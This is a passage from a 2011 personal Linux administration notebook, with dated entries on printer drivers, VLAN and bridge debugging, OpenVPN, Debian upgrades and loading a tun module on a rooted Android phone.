in the substitution string containing a query string part. Simply use a question mark inside the substitution string to indicate that the following text should be re-injected into the query string. When you want to erase an existing query string, end the substitution string with just a question mark. To combine new and old query strings, use the [QSA] flag. [1] http://httpd.apache.org/docs/current/mod/mod_rewrite.html Entry: Landscape printing problem Date: Fri Apr 29 12:15:47 EDT 2011 System info: ------------------- ZOO ------------------------------- tom@zoo:~$ okular --version Qt: 4.6.3 KDE Development Platform: 4.4.5 (KDE 4.4.5) Okular: 0.10.5 cups: 1.4.4-7 ------------------- MOMS ------------------------------- tom@moms:~$ okular --version Qt: 4.6.3 KDE Development Platform: 4.4.5 (KDE 4.4.5) Okular: 0.10.5 cups:Version: 1.4.4-7 -------------------------------------------------------- I have one PDF that prints incorrectly: zoo -> moms: prints as landscape printing the same file directly from moms does it correctly. The problem seems to be a difference between local and remote printing, for which i already found a bug in the MFC240C brother driver. CUPS behaves differently: print job provided on stdin of the driver, or as a file. SOLUTION: Using LPD fixes it. Over-generalizing conclusion: don't trust vendor-supplied CUPS drivers for remote printing! Entry: Converting TWF .html -> .ebook Date: Thu May 5 15:30:06 EDT 2011 Using ebook-convert from calibre on the archive from [1] directly doesn't seem to create individual files properly.. I'm doing something wrong. However, the following ugly hack seems to work: move the week*.html files to the html/ dir and then do this: [1] http://math.ucr.edu/home/baez/twf_html.tar.gz Entry: Starting a second X server in query mode Date: Sun May 8 10:37:08 EDT 2011 $ sudo X -query <host> :1 Entry: Laptop mode: always on, even if on battery Date: Sun May 8 10:57:34 EDT 2011 # /etc/laptop-mode/laptop-mode.conf : ENABLE_LAPTOP_MODE_ON_AC=1 Entry: emacs + xterm Date: Sun May 8 11:01:07 EDT 2011 I recently switched from rxvt to xterm, basically to make the colors in emacs work properly (rxvt doesn't support 256 colors, and some or other configuration on some of my machines doesn't seem to set the colors right, while on other machines it works.) Now it seems that some mouse commands do not work properly, i.e. cut & paste from another window into the xterm: it seems to do a yank instead. mouse-2 is bound to 'mouse-yank-at-click. I'd like it to be a smart merge between yank and pasting an X selection. Entry: Dovecot: time just moved backwards Date: Sun May 15 12:23:39 CEST 2011 /var/log/mail.err: May 15 09:18:21 giebrok dovecot: dovecot: Fatal: Time just moved backwards by 2502 seconds. This might cause a lot of problems, so I'll just kill myself now. http://wiki.dovecot.org/TimeMovedBackwards Entry: Debugging vlan Date: Sun May 15 13:35:47 CEST 2011 Weird stuff. I'm jet-lagged so it could just be PEBKAC. Following setup: I have qemu/kvm VM with interface called ubit, bridged to br1 together with eth0.2 which is eth0's VLAN2. The VM's dhcp requests do not seem to pass through. The weird thing is that I see the dhcp requests on eth0.2 and the replies on eth0, tagged with vlan2. WTF? ## eth0.2 (or the bridge br1) sees the client bootpc > server bootps .. zni:/home/tom# tcpdump -i eth0.2 tcpdump: WARNING: eth0.2: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0.2, link-type EN10MB (Ethernet), capture size 96 bytes 13:38:56.200120 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 52:54:00:12:34:05 (oui Unknown), length 300 13:38:59.717661 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 52:54:00:12:34:05 (oui Unknown), length 300 ## eth0 has the server bootps > client bootpc reply packets, tagged as "vlan 2" zni:/etc/network# tcpdump -i eth0 vlan tcpdump: WARNING: eth0: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 13:38:56.201403 vlan 2, p 0, IP gate-13.i.bootps > ubit-13.i.bootpc: BOOTP/DHCP, Reply, length 300 13:38:59.718744 vlan 2, p 0, IP gate-13.i.bootps > ubit-13.i.bootpc: BOOTP/DHCP, Reply, length 300 13:39:04.717947 vlan 2, p 0, ARP, Request who-has ubit-13.i tell gate-13.i, length 42 13:39:05.718014 vlan 2, p 0, ARP, Request who-has ubit-13.i tell gate-13.i, length 42 13:39:06.718085 vlan 2, p 0, ARP, Request who-has ubit-13.i tell gate-13.i, length 42 Q: These should really be the same, since eth0.2 is VLAN2. Or is it not? zni:/etc/network# cat /proc/net/vlan/config VLAN Dev name | VLAN ID Name-Type: VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD eth0.2 | 2 | eth0 Performing an eth0 dump to file and analyzing with wireshark, and I do see both discover (request) and offer (reply) packets. I don't know why "tcpdump -i eth0 vlan" doesn't show them on the console. Doing the same for the eth0.2 dump, the reply packets do not show up. Q: Why do the packets show up properly as VLAN-tagged on the eth0 dump, but only one direction in the eth0.2 dump? Packet size? Hmm.. Unlikely. DHCP packets are around 300 bytes. I tried to add ubit to br0 and that works flawlessly. Maybe it has something to do with eth0 being part of br0. Maybe I should use br0 as the interface for untagging? I'm using the same setup on zoo and there it seems to work fine.. Q: What is this? Then another problem pops up. Still works fine on zoo, but on zwizwa I don't see any UDP reply packets for the vpn. After shutdown and a run on zoo it seems that it's working now on zni. I don't know why.. Maybe it's time to move away from bridges. Is it the MAC learning that gets in the way? I tried to take VLAN 2 from br0 instead of eth0 directly, but that doesn't make any difference, except that I can't even see the reply packets on the br0 any more. Maybe it's just the "bridge id"? On zni the two bridges have the same id. zoo:~# brctl show bridge name bridge id STP enabled interfaces br0 8000.90fba6e47b21 no eth0 br1 8000.425d46586bb6 no eth0.11 zni:~# brctl show bridge name bridge id STP enabled interfaces br0 8000.002421230e4b no eth0 br1 8000.002421230e4b no eth0.2 Why is this? I found another thing that works: disabling br0, using eth0 directly. Then on br1 everything works as expected. Entry: Bridges and STP (spanning tree protocol) Date: Sun May 15 16:54:17 CEST 2011 It looks like some of the trouble I have with enabling bridges is due to redundant routes. The manual says that in this case, you need to enable STP. Q: Is my setup redundant? I think so if some of the segments can be routing segments, meaning if some "bridges" can be routes too. Have to look at this later. Entry: virtio-net Date: Mon May 16 13:47:03 CEST 2011 client side: virtio-net kvm: -net nic,model=virtio Entry: KSM : kernel samepage merging Date: Tue May 17 12:19:25 CEST 2011 Sharing pages. [1] http://www.linux-kvm.com/content/using-ksm-kernel-samepage-merging-kvm Entry: VirtualSquare Date: Tue May 17 12:22:11 CEST 2011 [1] http://www.virtualsquare.org/ Entry: icedove doesnt open links after upgrade Date: Thu May 19 14:31:53 CEST 2011 # Problem: the following point to firefox. Should point to x-www-browser gconftool -g /desktop/gnome/url-handlers/http/command gconftool -g /desktop/gnome/url-handlers/http/enabled gconftool -g /desktop/gnome/url-handlers/https/command gconftool -g /desktop/gnome/url-handlers/https/enabled # Solution: gconftool -s -t string /desktop/gnome/url-handlers/http/command '/usr/bin/x-www-browser "%s"' gconftool -s -t string /desktop/gnome/url-handlers/https/command '/usr/bin/x-www-browser "%s"' ## THIS DID NOT SOLVE THE PROBLEM FOR ME ## I deleted my profile and started over - no time to fuss with it. ## Then it worked, meaning icedove does _seem to_ use x-www-browser. ## Recent upgrade: also delete the "http" option in "attachments". [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=566819 [2] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=569662 Entry: Debian install from USB stick Date: Thu May 19 20:30:09 CEST 2011 4.3. Preparing Files for USB Memory Stick Booting 4.3.1. Preparing a USB stick using a hybrid CD or DVD image Debian CD and DVD images can now be written directly a USB stick, which is a very easy way to make a bootable USB stick. Simply choose a CD or DVD image that will fit on your USB stick. See Section 4.1, “Official Debian GNU/Linux CD-ROM Sets” to get a CD or DVD image. [1] http://www.debian.org/releases/stable/i386/ch04s03.html.en Entry: alsa card order Date: Sun May 22 14:32:34 CEST 2011 Installed RME9652 on zni, but it wants to come up as first card. Added the following line to /etc/modprobe.d/alsa-base.conf : options snd-rme9652 index=-2 To reload the modules, do this: alsa force-reload I can't test now if this works properly at reboot. The other solution is to do this: # Remove all drivers. rmmod snd_hda_intel rmmod snd_rme9652 # Load drivers in the desired order. modprobe snd_hda_intel modprobe snd_rme9652 Or probably to define proper snd-card-0, snd-card-1 aliases. The HDA has 2 cards though. Entry: privoxy, chrome and SDHC Date: Sun Jun 5 19:16:32 CEST 2011 --enable-sdch="nothing" From [1]: The cause of the problem is that privoxy is reaching into content that is compressed, and removing data, resulting in a very corrupt stream. Privoxy should instead honor the content encoding, and if it does not understand the encoding (in this case, content-encoding=gzip,sdch) then it should NOT alter the stream. That is the current bug in privoxy. [1] http://code.google.com/p/chromium/issues/detail?id=24365 Entry: zwizwa trouble Date: Sat May 28 20:57:50 CEST 2011 [10479065.715018] tcpdump: page allocation failure. order:5, mode:0xc0d0 [10479065.715041] Pid: 19342, comm: tcpdump Not tainted 2.6.26-2-vserver-686 #1 [10479065.715094] [<c01639de>] __alloc_pages_internal+0x33a/0x34e [10479065.715177] [<c01639fe>] __alloc_pages+0x7/0x9 [10479065.715198] [<c0163a0f>] __get_free_pages+0xf/0x1b [10479065.715262] [<c02debde>] packet_set_ring+0xcb/0x2db [10479065.715323] [<c02dfe27>] packet_setsockopt+0x242/0x300 [10479065.715375] [<c02dff04>] packet_getsockopt+0x1f/0x103 [10479065.715415] [<c025bcd8>] sys_setsockopt+0x6f/0x8e [10479065.715462] [<c025d4b9>] sys_socketcall+0x15c/0x19e [10479065.715526] [<c0103857>] sysenter_past_esp+0x78/0xb1 [10479065.715605] ======================= [10479065.715616] Mem-info: [10479065.715627] DMA per-cpu: [10479065.715638] CPU 0: hi: 0, btch: 1 usd: 0 [10479065.715651] Normal per-cpu: [10479065.715661] CPU 0: hi: 90, btch: 15 usd: 0 [10479065.715674] Active:29210 inactive:16556 dirty:91 writeback:20 unstable:0 [10479065.715676] free:11260 slab:3226 mapped:2932 pagetables:529 bounce:0 [10479065.715699] DMA free:9320kB min:124kB low:152kB high:184kB active:748kB inactive:680kB present:16256kB pages_scanned:0 all_unreclaimable? no [10479065.715718] lowmem_reserve[]: 0 238 238 238 [10479065.715787] Normal free:35720kB min:1908kB low:2384kB high:2860kB active:116092kB inactive:65544kB present:243776kB pages_scanned:0 all_unreclaimable? no [10479065.715807] lowmem_reserve[]: 0 0 0 0 [10479065.715830] DMA: 484*4kB 321*8kB 165*16kB 50*32kB 9*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 9320kB [10479065.715918] Normal: 1403*4kB 1002*8kB 577*16kB 268*32kB 65*64kB 1*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 35724kB [10479065.716040] 22515 total pagecache pages [10479065.716053] Swap cache: add 21748823, delete 21739952, find 26225400/28917567 [10479065.716067] Free swap = 704320kB [10479065.716115] Total swap = 979892kB [10479065.717998] 65520 pages of RAM [10479065.718015] 0 pages of HIGHMEM [10479065.718025] 1516 reserved pages [10479065.718034] 18241 pages shared [10479065.718045] 8871 pages swap cached [10479065.718054] 91 pages dirty [10479065.718064] 0 pages writeback [10479065.718073] 2932 pages mapped [10479065.718083] 3226 pages slab [10479065.718094] 529 pages pagetables Memory usage is large for a couple of programs: 103372 /usr/bin/mzscheme 202228 /usr/sbin/clamd 230612 /usr/sbin/apache2 230612 /usr/sbin/apache2 Maybe it's best to kick all these out since they aren't really used much. some small http can probably be used instead of of apache, but FTP is probably enough. tom@zwizwa:~$ ps aux|grep clamd clamav 13154 0.0 29.2 202228 75048 ? Ssl Jan30 120:09 /usr/sbin/clamd tom@zwizwa:~$ free total used free shared buffers cached Mem: 256144 252088 4056 0 71068 35548 -/+ buffers/cache: 145472 110672 Swap: 979892 310840 669052 tom@zwizwa:~$ ps aux|grep apache root 2602 0.0 0.1 9200 356 ? Ss Jan25 6:46 /usr/sbin/apache2 -k start root 2606 0.0 0.0 8816 164 ? Ss Jan25 1:46 /usr/sbin/htcacheclean -n -d120 -i -p/var/cache/apache2/mod_disk_cache -l300M www-data 20208 0.0 0.0 8832 156 ? S May22 0:00 /usr/sbin/apache2 -k start www-data 20254 0.0 0.0 230612 168 ? Sl May22 0:00 /usr/sbin/apache2 -k start www-data 20257 0.0 0.0 230612 172 ? Sl May22 0:00 /usr/sbin/apache2 -k start Entry: clamav exim: removed Date: Sat May 28 21:15:32 CEST 2011 Commented out + no longer running clam daemon. I'd like to do this on the command line. Doesn't matter if it takes a long time, the memory usage seems to be problematic otherwise. # virus scanner # av_scanner = clamd:/var/run/clamav/clamd.ctl Also spamassasin? No, leaving it like it is. Too much breakage, no time to tinker. I removed PLT webserver + apache since they're not used. Entry: OpenVPN trouble Date: Mon Jun 6 15:03:17 CEST 2011 Something went wrong on Jun 1, only detected on Jun 5 22:56:10 when I restarted the service. Wed Jun 1 20:08:38 2011 zoo/1.1.1.1.73:37588 [zoo] Inactivity timeout (--ping-restart), restarting Wed Jun 1 20:08:38 2011 zoo/1.1.1.1.73:37588 SIGUSR1[soft,ping-restart] received, client-instance restarting Wed Jun 1 20:08:45 2011 one/2.2.2.2:41532 [one] Inactivity timeout (--ping-restart), restarting Wed Jun 1 20:08:45 2011 one/2.2.2.2:41532 SIGUSR1[soft,ping-restart] received, client-instance restarting Sun Jun 5 22:56:10 2011 event_wait : Interrupted system call (code=4) Sun Jun 5 22:56:10 2011 TCP/UDP: Closing socket Sun Jun 5 22:56:10 2011 Closing TUN/TAP interface Sun Jun 5 22:56:10 2011 /sbin/ifconfig vpn1 0.0.0.0 SIOCSIFADDR: Permission denied SIOCSIFFLAGS: Permission denied Sun Jun 5 22:56:11 2011 Linux ip addr del failed: external program exited with error status: 255 Sun Jun 5 22:56:11 2011 SIGTERM[hard,] received, process exiting tom@zwizwa:~$ sudo openvpn --version OpenVPN 2.1.0 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Apr 10 2010 Originally developed by James Yonan Copyright (C) 2002-2009 OpenVPN Technologies, Inc. <sales@openvpn.net> What does it look like on the other side? Ping timeouts. Let's just upgrade: zwizwa:/var/log/openvpn# openvpn --version OpenVPN 2.1.3 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Oct 21 2010 Originally developed by James Yonan Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> Entry: boot error Date: Wed Jun 8 20:07:06 CEST 2011 Begin: Running /scripts/local-premount ... resume: libgcrypt version: 1.4.5 resume: cCould not stat the resume device file '/dev/disk/by-uuid/....' Please type in the full path name to try again or press ENTER to boot the system: -> comes from an out-of-date initrd update-initramfs -u -k all Entry: IPv6 firewall Date: Sun Jun 12 01:05:30 CEST 2011 Starting Nmap 4.62 ( http://nmap.org ) at 2011-06-12 01:03 CEST Interesting ports on cl-1386.bru-01.be.sixxs.net (2001:6f8:202:569::2): Not shown: 1710 closed ports PORT STATE SERVICE 25/tcp open smtp 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 6667/tcp open irc So everything is wide open. For now, let's only allow ping. Entry: IPv6 and /64 subnets Date: Sun Jun 12 02:03:26 CEST 2011 What's with that damn large number? Somewhere on the web: ... if you aren't concerned about SLAAC and anycast you can subnet however you want. I know of many ISPs that are using /127 on their point to point links. Entry: emacs and xterm Date: Sun Jun 12 14:14:02 CEST 2011 I'm moving to the theory that XTerm is actually "more correct" than any of the other terminal emulators, and will use it as my default. Before I ran into trouble with setting 256 color mode. Recently I ran into trouble with X selection, but it seems to have been a relic of the following, which simply didn't work in RXVT. ;; From the `xterm-mouse-mode' help page: ;; When turned on, the normal xterm mouse functionality for such ;; clicks is still available by holding down the SHIFT key while ;; pressing the mouse button. ;; For xterm it seems best to have both worlds, even if that means to ;; have to use shift-middle to do paste from another X window. In ;; rxvt the xterm-mouse-mode doesn't work. (xterm-mouse-mode 1) Entry: debian squeeze upgrade Date: Sun Jun 12 16:48:36 CEST 2011 Hmm.. looks like some earlier happy hacking is causing problems. ┌──────────────────────────────┤ Configuring sysv-rc ├───────────────────────────────┐ │ │ │ Unable to migrate to dependency-based boot system │ │ │ │ Tests have determined that problems in the boot system exist which prevent │ │ migration to dependency-based boot sequencing: │ │ │ │ insserv: warning: script 'rc.modified' missing LSB tags and overrides, insserv: │ │ warning: script 'rc.zzz' missing LSB tags and overrides, insserv: There is a loop │ │ between service rmnologin and mountnfs if started, insserv: loop involving │ │ service mountnfs at depth 8, insserv: loop involving service nfs-common at depth │ │ 7, insserv: There is a loop between service rmnologin and networking if started, │ │ insserv: loop involving service networking at depth 5, insserv: loop involving │ │ service mountall at depth 4, insserv: loop involving service portmap at depth 8, │ │ insserv: loop involving service mountoverflowtmp at depth 6, insserv: There is a │ │ loop between service stop-bootlogd and mountall if started, insserv: loop │ │ involving service rsyslog at depth 5, insserv: There is a loop between service │ │ rmnologin and checkroot if started, insserv: loop involving service checkroot at │ │ depth 3, insserv: loop involving service keyboard-setup at depth 2, insserv: loop │ │ involving service alsa-utils at depth 12, insserv: loop involving service │ │ mountall-bootclean at depth 6, insserv: loop involving service checkfs at depth │ │ 4, insserv: There is a loop between service rmnologin and checkroot if started, │ │ insserv: loop involving service hwclockfirst at depth 3, insserv: loop involving │ │ service mtab at depth 6, insserv: There is a loop between service rmnologin and │ │ ifupdown-clean if started, insserv: loop involving service ifupdown-clean at │ │ depth 6, insserv: loop involving service console-screen at depth 13, insserv: │ │ There is a loop between service rmnologin and mountdevsubfs if started, insserv: │ │ loop involving service mountdevsubfs at depth 3, insserv: loop involving service │ │ udev at depth 2, , package apache2.2-common removed but not purged, package │ │ console-setup removed but not purged, package dkms removed but not purged, │ │ package fam removed but not purged, package fglrx-atieventsd removed but not │ │ purged, package icecc removed but not purged, package kdm removed but not purged, │ │ package privoxy removed but not purged, package quagga removed but not purged, │ │ package squid removed but not purged, package virtualbox-ose removed but not │ │ purged │ │ │ │ If the reported problem is a local modification, it needs to be fixed manually. │ │ If it's a bug in the package, it should be reported to the BTS and fixed in the │ │ package. See http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot for more │ │ information about how to fix the problems preventing migration. │ │ │ │ To reattempt the migration process after the problems have been fixed, run │ │ "dpkg-reconfigure sysv-rc". │ │ │ │ <Ok ?> │ │ │ └────────────────────────────────────────────────────────────────────────────────────┘ ┌────────────────────────────────┤ Configuring ure ├─────────────────────────────────┐ │ │ │ Component registries might be corrupted │ │ │ │ You are upgrading from a version which might have corrupted service/component │ │ registry files (*.rdb), especially │ │ /var/lib/openoffice/basis3.1/program/services.rdb and the rdb files in │ │ /var/spool/openoffice/uno_packages/cache for installed extensions. │ │ │ │ If you experience problems with the component manager or segmentation faults │ │ involving libstore in either unopkg or OpenOffice.org, please check these files. │ │ Try cleanly reinstalling the packages and/or using a clean user profile. │ │ │ │ <Ok�?> │ │ │ └────────────────────────────────────────────────────────────────────────────────────┘ ## original config was modified by me, probably BLANK_DPMS=off # tom@zni:/etc/console-tools$ cat config | nocomment BLANK_TIME=30 BLANK_DPMS=off POWERDOWN_TIME=30 SCREEN_FONT=lat0-sun16 SCREEN_FONT_vc2=lat0-sun16 SCREEN_FONT_vc3=lat0-sun16 SCREEN_FONT_vc4=lat0-sun16 SCREEN_FONT_vc5=lat0-sun16 SCREEN_FONT_vc6=lat0-sun16 ## for cups I keep my own config ## also alsa-base.conf ## dnsmaq ## initramfs-tools Entry: debian-archive-keyring Date: Mon Jun 13 12:22:02 CEST 2011 apt-get install debian-archive-keyring Entry: mail-transport-agent Date: Tue Jun 14 17:50:36 CEST 2011 Simple mail forwarding for debian, without heavy daemon: ssmtp esmtp-run [1] http://blog.philippklaus.de/2011/03/set-up-sending-emails-on-a-local-system-by-transfering-it-to-a-smtp-relay-server-smarthost/ Entry: emasc mail-mode vs. message mode Date: Tue Jun 14 19:16:04 CEST 2011 This warning showed up: Warning (mail): The default mail mode is now Message mode. You have the following Mail mode variable customized: mail-self-blind To use Mail mode, set `mail-user-agent' to sendmail-user-agent. To disable this warning, set `compose-mail-user-agent-warnings' to nil. What's the difference between mail-mode and message-mode? From[1]: Message mode handles MIME attachments. This is the main benefit over the default mail mode. [1] http://www.emacswiki.org/emacs/MessageMode Entry: hdparm drive spindown time Date: Thu Jul 7 10:08:42 CEST 2011 # hdparm -S 100 /dev/sdg1 /dev/sdg1: setting standby to 100 (8 minutes + 20 seconds) man hdparm: -S Put the drive into idle (low-power) mode, and also set the standby (spindown) timeout for the drive. This timeout value is used by the drive to determine how long to wait (with no disk activity) before turn‐ ing off the spindle motor to save power. Under such circumstances, the drive may take as long as 30 seconds to respond to a subsequent disk access, though most drives are much quicker. The encoding of the time‐ out value is somewhat peculiar. A value of zero means "timeouts are disabled": the device will not automatically enter standby mode. Values from 1 to 240 specify multiples of 5 seconds, yielding timeouts from 5 seconds to 20 minutes. Values from 241 to 251 specify from 1 to 11 units of 30 minutes, yielding timeouts from 30 minutes to 5.5 hours. A value of 252 signifies a timeout of 21 minutes. A value of 253 sets a vendor-defined timeout period between 8 and 12 hours, and the value 254 is reserved. 255 is interpreted as 21 minutes plus 15 seconds. Note that some older drives may have very different interpretations of these values. Entry: apt-get without confirm Date: Thu Jul 7 10:16:09 CEST 2011 Is there a way to make apt-get install answer "yes" to "Do you want to continue [y/N]?" [1] http://superuser.com/questions/164553/automatically-answer-yes-when-using-apt-get-install Entry: checkinstall easy_install Date: Thu Jul 7 10:22:56 CEST 2011 # To install RBTools (reviewboard utilities), the website[1] # recommends to use the following command: easy_install -U RBTools # However, Olivier suggested to use checkinstall[2]: checkinstall easy_install -U RBTools # Which wraps the install in a debian package. [1] http://www.reviewboard.org/news/2009/03/29/announcing-rbtools-02-beta-1/ [2] http://www.debian-administration.org/articles/147 Entry: maintenance day Date: Tue Aug 9 10:25:17 CEST 2011 - Remove DISPLAY guessing. I have this in .bashrc: if [ -z "$DISPLAY" ]; then GUESSED=`who -m --ips | awk '{print $5 }'` if [ -n "$GUESSED" ]; then export DISPLAY_GUESSED="$GUESSED:0.0" fi fi It used to set DISPLAY directly but this interferes with some port-knocking firewall config. Maybe it should be replaced with a notice that DISPLAY isn't set correctly in ssh config. - Enable proper X11 forwarding. /etc/ssh/sshd_config on zwizwa had "X11Forwarding no". - Another problem on giebrok, found with "ssh -v": debug1: Remote: No xauth program; cannot forward with spoofing. Warning goes away after installing xauth, but forwarding still doesn't work. In auth.log I found this: error: Failed to allocate internet-domain X11 display socket. See [1], it seems to be an ipv6 config error. workaround: add "AddressFamily inet" Real problem is probably ipv6 config op vhosts. - ipv6. important? not really. let's first look at sixxs account to see if i'm missing out on something. I have 1 ISK. Tunnel is down due to server reboot 34 days ago. /etc/init.d/aiccu wasn't started. hmm.. it is linked in /etc/rc2.d trouble with ppp restart? it's up and being pinged, so ISK should rise. let's see if it survives ppp restart. - crashes on zwizwa [2590389.756459] tcpdump: page allocation failure. order:5, mode:0xc0d0 Is this the same problem again with clamd memory leak? Currently: clamav 2068 0.0 13.7 140024 35112 ? Ssl Jul05 5:05 /usr/sbin/clamd Hmm, upgraded it still has around 117988 size. - oom stuff. I swear I saw a message about oom in auth.log, just like i did with the internet-domain error mentioned above. I can't find neither now. Was it something about /proc/self/oom_adj ? Doesn't seem to be a big deal. [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=422327 Entry: automate scanning Date: Tue Aug 9 11:56:44 CEST 2011 Problem: I need a quick, no-brainer command to scan a single document as PDF at 150 DPI, possibly with some contrast enhancement. Currently I'm using gimp and jpeg2pdf which is a hassle. scanimage -L list devices -x,-y scan area mm Result, see [1] [1] http://zwizwa.be/darcs/pool/bin/scan-pdf Entry: zoo is a mess! Date: Wed Sep 7 19:28:04 EDT 2011 This was problematic for debugging: - autologin worked, but screen was on tty6 ? However, this was quite a mess: - eth0.1 not auto? - /proc/sys/net/ipv4/ip_forward -> 0 ! - br1 doesn't come up properly - if all these things fail, /etc/fw/firewall fails too - asterisk doesn't come up properly - ubit route not automatic Need to test it again to make sure it comes up properly. Fixes: - eth0.1 auto - /etc/fw/firewall: echo 1 >/proc/sys/net/ipv4/ip_forward - added || echo to br1 script to make sure it comes up in case of errors: bridge creation not idempotent - cleaned up network/interfaces to have pre-up a ; b ; c instead of multiple pre-up - /etc/fw/firewall now runs on post-up - ubit routing in qemu ifup Entry: debian dist-upgrade problem Date: Thu Sep 8 15:13:17 EDT 2011 [1] https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/377211 Entry: Openoffice Date: Fri Sep 9 06:43:57 EDT 2011 Time to get to know Calc How to? - Insert a number of rows, keeping formula? That doesn't work, but it's possible to insert multiple rows by selecting the number of rows to insert, then use insert row. To copy the formula, just select one box which has a formula, and drag its corner black square down. - Keyboard shortcut for row insert? Don't know, but it's possible to add an insert/delete rows button to the toolbar. - Quickly enter product of two rows? Looks like it needs to be done manually: =PRODUCT(<start>:<end>) Entry: Printing broke again.. Date: Fri Sep 9 20:21:05 EDT 2011 I passionately hate printers. After upgrade to Debin testing.. I don't know... WTF. Spits out blank pages, or part of a page. Have to press the GO button for it to start. Ok.. Green light blinking. Manual says this is either warm up / cool down / data rx / data process. Manual says to press button if it takes too long. When I did it came out with 20% of page printed. Then it started to spit blanks. Turned it on, booted in windows. Removed all installs (every time it turns on a new intances was installed!) Didn't do anything but mentioning paper jam. Removed jammed paper (from turning it off during blank paper spewing). All printing after that disappeared in the void on windows. Switched back to linux. First time same blinking light problem. Waited for a bit then it came out. Think it was complete - not sure. After that everything was fine. Weird.. Entry: zni upgrade Date: Sun Sep 11 09:50:17 EDT 2011 1. dist-upgrade to squeeze 2. install ghc 7 from wheezy Entry: Internal network flood? Date: Sun Sep 11 10:39:12 EDT 2011 Copying from zni -> moms with full-rate tcp (SSH) causes external traffic to drop. Setting a 4Mbyte/sec bw cap on rsync solves the problem. External traffic is carried internally on a VLAN. Maybe this needs priorities set? Entry: Linux bandwidth limit / traffic control. Date: Sun Sep 11 12:40:41 EDT 2011 First trying cut & paste tc[1] without much success. Then found this[2] which mentions the wondershaper[3] script which uses tc. Also mentioned is trickle[4], which is a per-application socket call overload. [1] http://atmail.com/kb/2009/throttling-bandwidth/ [2] http://superuser.com/questions/66574/how-to-throttle-bandwidth-on-a-linux-network-interface [3] http://lartc.org/wondershaper/ [4] http://monkey.org/~marius/pages/?page=trickle Entry: Haskell install Date: Sun Sep 11 15:28:54 EDT 2011 Ha.. I installed ghc 7 from wheezy because of this: /home/tom/meta/dspm/SysM.hs:22:8: Could not find module `Data.Functor.Identity': Use -v to see a list of the files searched for. but it looks like that's doesn't solve anything. Needs haskell-platform. Entry: Setting up ppp server Date: Tue Sep 13 01:46:16 CEST 2011 I need to run a ppp server on a virtual terminal (pty) for some embedded software testing. How to proceed? Found this[1]. The following seems to do something: pppd auth +pap -chap login -detach /dev/pts/13 [1] http://stilius.net/callback_en.php Entry: Cups again Date: Thu Sep 15 11:24:49 EDT 2011 I spend so much time mucking about with this and it keeps breaking. I'm using a Brother HL-2240 and the latest drivers from Brother, together with cups from Debian Wheezy. Sometimes it works / sometimes it hangs. I didn't see a real pattern yet, but in top I see it's the "usb" process that's doing something. From pstree: ├─cupsd─┬─brlpdwrapperHL2───filterHL2240───rawtobr3 │ └─usb The green light on the printer is flashing, which means either that there is data transfer in progress (for several minutes) or that there is data left in memory. If I press the button, it prints part of the page. It's a page with a lot of graphics. From here[1] it's mentioned that the PCL drivers also work. Anyways, I'm first going to try the purged install, and will document here what steps I took to change the network printing. cupswrapperHL2240-2.0.4-2.i386.deb hl2240lpr-2.1.0-1.i386.deb See [2]. After purge it worked. [1] http://ubuntuforums.org/showthread.php?t=1627516 [2] entry://20110915-114706 Entry: Installing CUPS + HL2240 + MFC240C on Debian Wheezy Date: Thu Sep 15 11:47:06 EDT 2011 Scanner driver brscan-0.2.4-0.i386.deb is done separately. # Install cups 1.5.0-5 apt-get install cups cups-bsd dpkg -i hl2240lpr-2.1.0-1.i386.deb dpkg -i cupswrapperHL2240-2.0.4-2.i386.deb # Enable remote access in cupsd.conf -Listen localhost:631 +Listen 0.0.0.0:631 DefaultAuthType Basic +ServerAlias * <Location /> Order allow,deny + Allow from 192.168.* </Location> # Same for the MFC240C drivers. dpkg -i mfc240clpr-1.0.1-1.i386.deb dpkg -i mfc240ccupswrapper-1.0.1-1.i386.deb # For remote printing, use lpd/raw, which will go through a path that # looks like a local print job on the server. At least the MFC-240C # doesn't support remote printing properly out of the box [1]. # EDIT: problem reappeared. This time I get /var/log/cups/error_log: E [17/Sep/2011:08:30:08 -0400] [Job 8] Unable to send data to printer. I plugged it into a different USB port and it seemed to work again. [1] entry://20110228-173738 Entry: Networking TODO Date: Fri Sep 16 13:00:57 EDT 2011 - merge zwizwa & zoo openvpn config - fix routing zwizwa -> zoo network (quagga?) Entry: OpenVPN on droid2 / verizon running 2.2 (Froyo) Date: Fri Sep 16 13:24:55 EDT 2011 The tun.ko module for 2.2 is missing on the phone. Get it here[1]. Needs root access on the phone. I used Z4 root. Using "adb shell" with root permissions it's possible to remount the /system share as rw, so the tun.ko can be copied to /system/lib # mount get list of mount points => find the one corresponding to /system # mount -o remount,rw /dev/block/mmcblk1p21 /system Then copy the tun.ko module to /system/lib/modules, either directly, or through the sd card, then copying to /system if it doesn't allow direct copy. I had this problem trying to insert the module: <3>[89176.615234] tun: version magic '2.6.32.9-27220-g328f560 preempt mod_unload ARMv7 ' should be '2.6.32.9 preempt mod_unload ARMv7 Apparently insmod can't stript this magic, but it's possible to remove it by editing the object file. Using objdump I find this: $ objdump -j .modinfo tun.ko -s tun.ko: file format elf32-little Contents of section .modinfo: 0000 616c6961 733d6368 61722d6d 616a6f72 alias=char-major 0010 2d31302d 32303000 6c696365 6e73653d -10-200.license= 0020 47504c00 61757468 6f723d28 43292031 GPL.author=(C) 1 0030 3939392d 32303034 204d6178 204b7261 999-2004 Max Kra 0040 736e7961 6e736b79 203c6d61 786b4071 snyansky <maxk@q 0050 75616c63 6f6d6d2e 